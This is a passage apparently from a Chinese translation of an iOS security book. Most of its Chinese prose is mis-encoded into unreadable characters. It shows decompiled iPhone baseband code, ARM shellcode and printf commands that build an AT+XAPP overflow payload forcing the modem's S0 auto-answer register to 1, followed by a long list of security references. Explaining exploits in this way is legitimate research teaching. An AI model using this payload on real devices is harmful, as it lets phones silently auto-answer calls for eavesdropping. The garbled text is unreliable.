uint32_t __fastcall get_at_sreg_base_ptr(uint32_t a1, uint32_t a2) 
{ 
  uint32_t *t1; 
  uint32_t *t2; 
  uint32_t result; 
 
  t1 = &dword_B01B204C[15 * a1]; 
  t2 = &dword_B01B23D0[17 * a2]; 
  if ( t1[12] ) 
    result = t2[14] + t1[13]; 
  else 
    result = 0; 
  return result; 
} 
/* 0xA01C5AB7 */uint32_t __fastcall get_at_sreg_value(uint32_t k, uint32_t n) 
{ 
  return *(get_at_sreg_base_ptr(9, k) + n + 8); 
} 

̅௦ॶၶʶ᝟Ὑѽၸ̯ʼᤗѥஜ˖३ҁᄉζোὋύүʶ˓ᆀ࠴ᄉርࣿᤉር᝹ᎵS0࠘٧ߚǌኃ

ʶ൥௦᜵ᎃзʶ˓඼ᎃ࠴ርࣿὋѽၸAT+XAPPຼѢ᝹ᎵS0ဖᡸ᝟ஜ٧ὋᇧΒݟʽὙ�

00000000 <write_ats0_reg>: 
    0:  2107    movs r1, #7             /* փీ኱থሜ෇#9Ǆ੣ӣǅ */ 

    2:  1c88    adds r0, r1, #2         /* r0 = 9 */ 
    4:  1a49    subs r1, r1, r1         /* r1 = 0 */ 
    6:  47a8    blx r5                  /* ۙᆩ0xA01B9F1B */ 
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    8:  2401    movs r4, #1 
    a:  7204    strb r4, [r0, #8]       /* ยዃS0 = 1 */ 
    c:  1b20    subs r0, r4, r4         /* r0 = 0ǈ՗๖ٱ؜ */ 
    e:  b00a    add sp, #0x28           /* ۙኝቝኸኍ */ 
   10:  bd70    pop {r4, r5, r6, pc}    /* ߅৫૧஌ڦीჄ */ 
   12:  46c0    nop                     /* nopႴᄲᇑጴՉহܔഋ */ 

ʽ᭦௦ሗ฽ណ̾ʼ̼ᆉᄉԓݼழयὙ�

# printf 'AT+XAPP="####################################' > xapp-bin 
# printf '4444\x1b\x9f\x1b\xA066667777\xF5\x2C\x0B\xB0' >> xapp-bin 
# printf '\x07\x21\x88\x1c\x49\x1a\xa8\x47\x01\x24\x04' >> xapp-bin 
# printf '\x72\x20\x1b\x0a\xb0\x70\xbd\xc0\x46"' >> xapp-bin 
# ./sendmodem "`cat xapp-bin`" 
Sending command to modem: AT 
---.+ 
AT 
OK 
Sending command to modem: AT+XAPP="####################################444466667 
777?, 
 
?!?I?G$r 
p??F" 
-..+ 
AT+XAPP="####################################444466667777?,  
                                                         ?!?I?G$r 
p??F" 
ERROR 
# ./sendmodem 'ATS0?' 
Sending command to modem: AT 
-.+ 
AT 
OK 
Sending command to modem: ATS0? 
-...+ 
ATS0? 
001 
 
OK 
# 

ࡂԶᤇᦉiPhoneὋ߱֏ڙ౦ဗݟ٧Ꮅ˝1ǌߚ੝᜸ὋAT+XAPPథ஌ᣑᕲԺ̾ઁS0࠘ࠑܷݟൣ

�ԵқణՐʶ൥Ὑౝᤴథ஌ᣑᕲᤉርधըឞҩᑞǌڙኃʶ൒ֽᨢՐᒬҮःኔ˿ǌဗڙ͗

ሮॱνஇʶʽʼ᭦ᄉథ஌ᣑᕲὋʿ взЙϘᏪ௦लԦ࢜ຳὋ;͗ࡂԦဗS0࠘٧ͮ̅ߚЮߚ˖

ᄉ0xB002D768ܪǌˠ˓ΒߔὋܷࠑԺ̾ѽၸݟʽૈ̽ྞൿᤉርधըᒬҮःኔὙ 

0xA01EC43C 1C 61 C4 E5                          STRB  R6,  [R4,#0x11C] 
0xA01EC440 F0 81 BD E8                          LDMFD SP!, {R4-R8,PC} 

ซ਒ὋઁڙϘ1зЙʼ᭦ଡҁᄉڦڠՐὋ̼ᆉᤆᭉ᜵ፘ፝੯ᛠǌ঳Ꮺᝒ˧Ὃᤇፋ˿ੇ͂ʶ్

ʿᡓ᣾100ߙᓫᄉ๖োὋᏪឞ๖োኤ௙੻᜵ڠឬ௙˿CVE-2010-3832ᄉԺѽၸবǌ�
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11.6� ᇣ㒧 
ੇ͂К᭦̭ڠፀ˿᧪ࠪiOS᝹ܫᄉ۲ࣛஈѣǌఴብ̯ᝮᤗˀᚃቖᎩፎథСᄉᐿ௿ᅻខधݼὋ

ʶ൥൥Փܷࡘࠑᇧ˿Չ̼iOS᝹۲ࣛܫᔆྞʼᤁᛠᄉࠃௐୱͺጆፑᄉЮᦉԓူὋ̾Ԣᤇ̎ࠃௐୱ

ͺጆፑᄉ۶Юߚክူርࣿᄉᩱ፫ܬఽবǌ 
ፀ߸ᤇ̎ူ᝶বॡुᄉᅻខՐὋੇ̭ڙ ͂ଋᅋलܷ࠭ࠑ᣽ᤳᅋ੣߸੆OpenBTSᄉ᝹Ꮅ֖ᤁᛠࢹ

ͺǌᤇʶ᝹ᎵᝧܷࠑԺ̾ࠃڙᰍࠈ˖˝ᆐቂ᤯᣾ቆ˖ଋԯᄉ۲ࣛஈѣᏪᤁᛠᒬࣁᄉGSM฽ណᎩፎǌ 
ཨՐὋੇ ͂ҕౡ˿ࠃᬄᄉᚃቖӨᝫಖࣲᝦ᝶˿߱͂ᄉԩஈѣ᭦Ὃᤆ˝ܷ̭ࠑፀ˿Ժၸ̅ᒬᛠ

ࠬ੼໣วᄉʶ̎੾ࢻǌణՐὋఴብଡΘ˿ˏ˓ࣂМध໣ว὇ʶ˓ఴڠ໣วὋʶ˓ᤉር໣วὈᄉΒ

 ͺԓူǌࢹХᄉࢹὋࣲᝌ᧕˿ultrasn0wᝌᩙߔ
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ʽ᭦௦ఴ˹ԟᏥ੊ଡҁᄉᠪ஧ǌ 

� www.mediapost.com/publications/article/116920/ 

� www.f-secure.com/weblog/archives/00001814.html 

� www.jailbreakme.com 

� www.jailbreakme.com/star 

� http://dvlabs.tippingpoint.com/blog/2010/02/15/pwn2own-2010 

� http://seriot.ch/resources/talks_papers/iPhonePrivacy.pdf 

� http://theiphonewiki.com/wiki/index.php?title=LibTiff 

� Enterprise iOSὋwww.enterpriseios.com 

� Managing iOS Devices with OS X Lion ServerὋArek Dreyer ᗂ὇Peachpit PressὋ2011Ὀ 

� þLocal and Push Notification Programming Guideÿ὇ఴ֖ڠ଍ᤞ᤯ᅻᎃርૈӮὈὋiOS Dev 

CenterὋhttp://developer.apple.com/library/ios/#documentation/NetworkingInternet/Conceptual/ 

RemoteNotificationsPG/ 

� þ iOS Configuration Profile Referenceÿ὇ iOS ᦠᎵଠᤗ஠͇ԟᏥὈὋ iOS Dev CenterὋ

http://developer.apple.com/library/ios/#featuredarticles/iPhoneConfigurationProfileRef/ 

� þDeploying iPhone and iPad Mobile Device Managementÿ὇ᦉᎷ iPhone ֖ iPad ᄉሧҮ᝹ܫ

ክူὈὋhttp://images.apple.com/iphone/business/docs/iOS_MDM.pdf 

� þInside Apple’s MDM Black Boxÿ὇ຆЙ˿ᝌᔰ౦ᄉ MDM ᳫᄣὈὋDavid SchuetzὋ 2011

ࣱ BlackHat USA὇ᎾڍᳫࣤὈܷ͗ 

� https://media.blackhat.com/bh-us-11/Schuetz/BH_US_11_Schuetz_InsideAppleMDM_Slides.pdf 

� þThe iOS MDM Protocolÿ὇iOS ᄉ MDM ӨᝫὈὋDavid SchuetzὋ 2011 ࣱ BlackHat USA὇Ꮎ

 ᳫࣤὈܷ͗ڍ

� https://media.blackhat.com/bh-us-11/Schuetz/BH_US_11_Schuetz_InsideAppleMDM_WP.pdf 

� þiPhone data protection in depthÿ὇ຆЙ iPhone ஜ૵γએὈὋJean-Baptiste Bédrune ֖ Jean 

SigwaldὋ2011 ˜லྱݺᬀࣱ Hack in the Box ߶К͗ᝫ 

� þiPhone data protection toolsÿ὇iPhone ஜ૵γએࢹХὈὋJean-Baptiste Bédrune ֖ Jean 

SigwaldὋhttp://code.google.com/p/iphone-dataprotection 

� þOvercoming iOS Data Protection to Re-Enable iPhone Forensicsÿ὇Аన iOS ᄉஜ૵γએὋ
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᧗ளըၸ iPhone Ԩ᝼ὈὋAndrey BelenkoὋ2011 ࣱ BlackHat USA὇ᎾڍᳫࣤὈܷ͗ 

� þApple iOS Security Evaluation: Vulnerability Analysis and Data Encryptionÿ὇ᔰ౦ iOS ߶К

᝿ͤὙ໣วѫౡˀஜ૵ҪࠚὈὋDino Dai ZoviὋ2011 ࣱ BlackHat USA὇ᎾڍᳫࣤὈܷ͗ 

� þPBKDF2ÿὋWikipedia὇፤۲ᄇመὈὋhttp://en.wikipedia.org/wiki/PBKDF2 

� www.freebsd.org/doc/en_US.ISO8859-1/books/arch-handbook/macsynopsis.html 

� www.blackhat.com/presentations/bh-dc-10/Seriot_Nicolas/BlackHat-DC-2010-Seriot-iPhone- 

Privacy-wp.pdf 

� http://developer.apple.com/library/mac/#documentation/Security/Conceptual/AppSandboxDesi

gnGuide/AboutAppSandbox/AboutAppSandbox.html 

� http://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/ 

� https://github.com/kennytm/Miscellaneous/blob/master/dyld_decache.cpp 

� www.semantiscope.com/research/BHDC2011/BHDC2011-Paper.pdf 

� Fuzzing: Brute Force Vulnerability DiscoveryὋSuttonǋGreene ֖ Amini ᗂ 

� Fuzzing for Software Security Testing and Quality AssuranceὋTakanenǋDeMott ֖ Miller ᗂ 

� www.ietf.org/rfc/rfc2616.txt 

� www.tuaw.com/2007/10/09/apple-adds-new-mobile-protocol-handlers/ 

� http://labs.idefense.com/software/fuzzing.php 

� www.developershome.com/sms/ 

� www.dreamfabric.com/sms/ 

� www.nobbi.com/pduspy.htm 

� www.blackhat.com/presentations/bh-usa-09/MILLER/BHUSA09-Miller-FuzzingPhone-PAPE

R.pdf 

� þHeap Feng Shui in JavaScriptÿ὇JavaScript ˖ᄉ۶᮲පὈὋwww.phreedom.org/research/ 

heap-feng-shui/ 

� þAttacking the WebKit Heapÿ὇ஈѣ WebKit ᄉ۶ὈὋwww.immunityinc.com/infiltrate/2011/ 

presentations/webkit_heap.pdf 

� The Mac Hacker’s HandbookὋኃ 8 ብ 

� þAnalysis of the jailbreakme v3 font exploitÿ὇jailbreakme v3  ͳ໣วஈѣርࣿᄉѫౡὈὋߙ

http://esec-lab.sogeti.com/post/Analysis-of-the-jailbreakme-v3-font-exploit 

� þEngineering Heap Overflow Exploits with JavaScriptÿ὇ѽၸ JavaScript ᝹᝟۶ຼѢ໣วஈ

ѣርࣿὈὋwww.usenix.org/event/woot08/tech/full_papers/daniel/daniel.pdf 

� þReturn-oriented Programming for the ARM Architectureÿ὇ARM ౵ౝʽᄉ᭦Փᤄٿᄉርࣿ

᝹᝟ὈὋ Tim KornauὋhttp://static.googleusercontent.com/external_content/untrusted_dlcp/www. 

zynamics.com/en//downloads/kornau-tim--diplomarbeit--rop.pdf 

� þGetting around non-executable stack (and fix)ÿ὇ፈध᭣Ժ੯ᛠಖ὇ࣲνܬὈὈὋSolar 

DesignerὋhttp://insecure.org/sploits/linux.libc.return.lpr.sploit.html 
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� þROP and iPhoneÿὋhttp://blog.zynamics.com/2010/04/16/rop-and-iphone/ 

� þPractical return-oriented programmingÿ὇ࠃၸᄉ᭦Փᤄٿᄉርࣿ᝹᝟ὈὋDino Dai ZoviὋ

http://trailofbits.files.wordpress.com/2010/04/practical-rop.pdf 

� www.eetimes.com/design/embedded/4207336/Bill-Lamie--Story-of-a-man-and-his-real-time- 

operating-systems 

� www.ertos.nicta.com.au/software/kenge/iguana-project/latest/iguana_talk.pdf 

� www.ertos.nicta.com.au/software/kenge/iguana-project/latest/iguana_dev_talk.pdf 

� www.ertos.nicta.com.au/software/kenge/iguana-project/latest/userman.pdf 

� http://gnuradio.org/redmine/projects/gnuradio/wiki/OpenBTSClocks 

� Real-time Embedded Multithreading: Using ThreadX and ARMὋEdward C. Lamie ᗂ὇CMPὋ

2005ὋISBN 1578201349Ὃ356 ᮅὈ 

� þMore Fun With Graphsÿ὇ఝܲˀڎ᝶థСᄉˬᡙὈὋ2003 ࣱऎ Black Hat Federal὇ᐎᥧᳫ

ࣤὈܷ͗ὋHalvar FlakeὋwww.blackhat.com/presentations/bh-federal-03/bh-fed-03-halvar.pdf 

� A Guide to Kernel Exploitation: Attacking the CoreὋEnrico PerlaǋMassimiliano Oldani ᗂ

὇SyngressὋ2010ὋISBN 1597494860Ὃ442 ᮅὈ 
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